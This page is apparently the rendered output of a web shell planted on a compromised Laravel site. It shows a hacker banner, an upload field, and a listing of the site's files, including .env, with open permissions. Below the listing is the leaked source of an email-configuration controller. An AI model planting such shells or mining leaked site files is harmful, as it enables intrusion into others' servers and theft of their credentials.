I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
mail_config; return view('admin.sections.setup-email.config',compact( 'page_title', 'email_config', )); } /** * Display The Email Default Template Page * * @return view */ public function defaultTemplate() { $page_title = __('Default Template'); return view('admin.sections.setup-email.default-template',compact( 'page_title', )); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request) { $validator = Validator::make($request->all(),[ 'method' => 'required|string|in:smtp,php|max:20', 'host' => 'required|string|max:255', 'port' => 'required|numeric', 'encryption' => 'required|string|in:ssl,tls,auto|max:15', 'username' => 'required|string|max:60', 'password' => 'required|string|max:60' ]); $validated = $validator->validate(); $basic_settings = BasicSettings::first(); if(!$basic_settings) { return back()->with(['error' => [__('Basic settings not found!')]]); } // Make object of email template $data = [ 'method' => $validated['method'] ?? false, 'host' => $validated['host'] ?? false, 'port' => $validated['port'] ?? false, 'encryption' => $validated['encryption'] ?? false, 'username' => $validated['username'] ?? false, 'password' => $validated['password'] ?? false, 'from' => $validated['username'] ?? false, 'app_name' => $basic_settings['site_name'] ?? env("APP_NAME"), ]; try{ $basic_settings->update([ 'mail_config' => $data, ]); }catch(Exception $e) { return back()->with(['error' => [__('Something went wrong! Please try again')]]); } $env_modify_keys = [ "MAIL_MAILER" => $data['method'], "MAIL_HOST" => $data['host'], "MAIL_PORT" => $data['port'], "MAIL_USERNAME" => $data['username'], "MAIL_PASSWORD" => $data['password'], "MAIL_ENCRYPTION" => $data['encryption'], "MAIL_FROM_ADDRESS" => $data['from'], "MAIL_FROM_NAME" => $data['app_name'], ]; try{ modifyEnv($env_modify_keys); }catch(Exception $e) { return back()->with(['error' => [__('Something went wrong! Please try again')]]); } return back()->with(['success' => [__('Information updated successfully!')]]); } public function sendTestMail(Request $request) { $validator = Validator::make($request->all(),[ 'email' => 'required|string|email', ]); $validated = $validator->validate(); try{ Notification::route('mail',$validated['email'])->notify(new SendTestMail()); }catch(Exception $e) { return back()->with(['error' => [__('Something went wrong! Please try again')]]); } return back()->with(['success' => [__('Email send successfully!')]]); } }